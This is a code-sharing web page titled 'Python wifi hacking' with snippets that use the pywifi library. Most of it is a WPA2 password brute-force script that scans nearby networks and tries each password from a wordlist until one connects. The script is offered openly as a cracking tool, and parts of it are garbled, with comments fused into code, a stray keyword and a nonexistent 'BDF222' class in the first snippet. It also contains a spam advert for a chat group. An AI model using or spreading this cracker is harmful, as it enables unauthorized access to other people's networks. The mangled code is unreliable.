Python wifi hacking

def get_wifi_interface():
    wifi = BDF222()
    if len(wifi.interfaces()) <= 0:
        print u'Wireless card interface not found!'
        exit()
    if len(wifi.interfaces()) == 1:
        print u'Wireless card interface: %s'%(wifi.interfaces()[0].name())
        return wifi.interfaces()[0]
    else:
        print '%-4s   %s'%(u'Serial number',u'Network card interface name')
        for i,w in enumerate(wifi.interfaces()):
            print '%-4s   %s'%(i,w.name())
        while True:
            iface_no = raw_input('Please select network card interface serial number:'.decode('utf-8').encode('gbk'))
            no = int(iface_no)
            if no>=0 and no < len(wifi.interfaces()):
                return wifi.interfaces()[no]
              

4.2
11
Phoenix Logan 186125 points

                                    def get_wifi_interface():
    wifi = PyWiFi()
    if len(wifi.interfaces()) &lt;= 0:
        print u'Wireless card interface not found!'
        exit()
    if len(wifi.interfaces()) == 1:
        print u'Wireless card interface: %s'%(wifi.interfaces()[0].name())
        return wifi.interfaces()[0]
    else:
        print '%-4s   %s'%(u'Serial number',u'Network card interface name')
        for i,w in enumerate(wifi.interfaces()):
            print '%-4s   %s'%(i,w.name())
        while True:
            iface_no = raw_input('Please select network card interface serial number:'.decode('utf-8').encode('gbk'))
            no = int(iface_no)
            if no&gt;=0 and no &lt; len(wifi.interfaces()):
                return wifi.interfaces()[no]

4.2 (10 Votes)
0
3.88
8
Phoenix Logan 186125 points

                                    import pywifi from pywifi import const # quote some definitions import time''' Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own!''' def getwifi(wifilist, wificount):         wifi = pywifi.PyWiFi () # crawled network interface cards         ifaces = wifi.interfaces () [0] # Get the card    ifaces.scan()    time.sleep(8)    bessis = ifaces.scan_results()    allwifilist = []    namelist = []    ssidlist = []    for data in bessis:                 if data.ssid not in namelist: # remove duplicate names WIFI            namelist.append(data.ssid)            allwifilist.append((data.ssid, data.signal))    sorted(allwifilist, key=lambda st: st[1], reverse=True)    time.sleep(1)    n = 0    if len(allwifilist) is not 0:        for item in allwifilist:            if (item[0] not in ssidlist) &amp; (item[0] not in wifilist):                n = n + 1                if n &lt;= wificount:                    ssidlist.append(item[0])    print(allwifilist)    return ssidlist  def getifaces():         wifi = pywifi.PyWiFi () # crawled network interface cards         ifaces = wifi.interfaces () [0] # Get the card         ifaces.disconnect () # disconnect unlimited card connection    return ifaces  def testwifi(ifaces, ssidname, password):         profile = pywifi.Profile () # create a wifi connection file         profile.ssid = ssidname # define wifissid         profile.auth = open const.AUTH_ALG_OPEN # NIC         profile.akm.append (const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm         encrypting unit profile.cipher = const.CIPHER_TYPE_CCMP #         profile.key = password # wifi password         ifaces.remove_all_network_profiles () # delete all other configuration files         tmp_profile = ifaces.add_network_profile (profile) # load the configuration file         ifaces.connect (tmp_profile) # wifi connection         You can connect to the inner (5) # 5 seconds time.sleep    if ifaces.status() == const.IFACE_CONNECTED:        return True    else:        return False  def beginwork(wifinamelist):    ifaces = getifaces()         path = r &quot;password-8 digits .txt&quot;         # Path = r &quot;password- commonly used passwords .txt&quot;    files = open(path, 'r')    while True:        try:            password = files.readline()            password = password.strip('\n')            if not password:                break            for wifiname in wifinamelist:                                 print ( &quot;are trying to:&quot; + wifiname + &quot;,&quot; + password)                if testwifi(ifaces, wifiname, password):                                         print ( &quot;Wifi account:&quot; + wifiname + &quot;, Wifi password:&quot; + password)                    wifinamelist.remove(wifiname)                    break            if not wifinamelist:                break        except:            continue    files.close()  if __name__ == '__main__':         wifinames_e = [ &quot;&quot;, &quot;Vrapile&quot;] # exclude wifi name does not crack    wifinames = getwifi(wifinames_e, 5)    print(wifinames)    beginwork(wifinames)

3.88 (8 Votes)
0
Are there any code examples left?
Made with love
This website uses cookies to make IQCode work for you. By using this site, you agree to our cookie policy

Welcome Back!

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign in
Recover lost password
Or log in with

Create a Free Account

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign up
Or sign up with
By signing up, you agree to the Terms and Conditions and Privacy Policy. You also agree to receive product-related marketing emails from IQCode, which you can unsubscribe from at any time.
Creating a new code example
Code snippet title
Source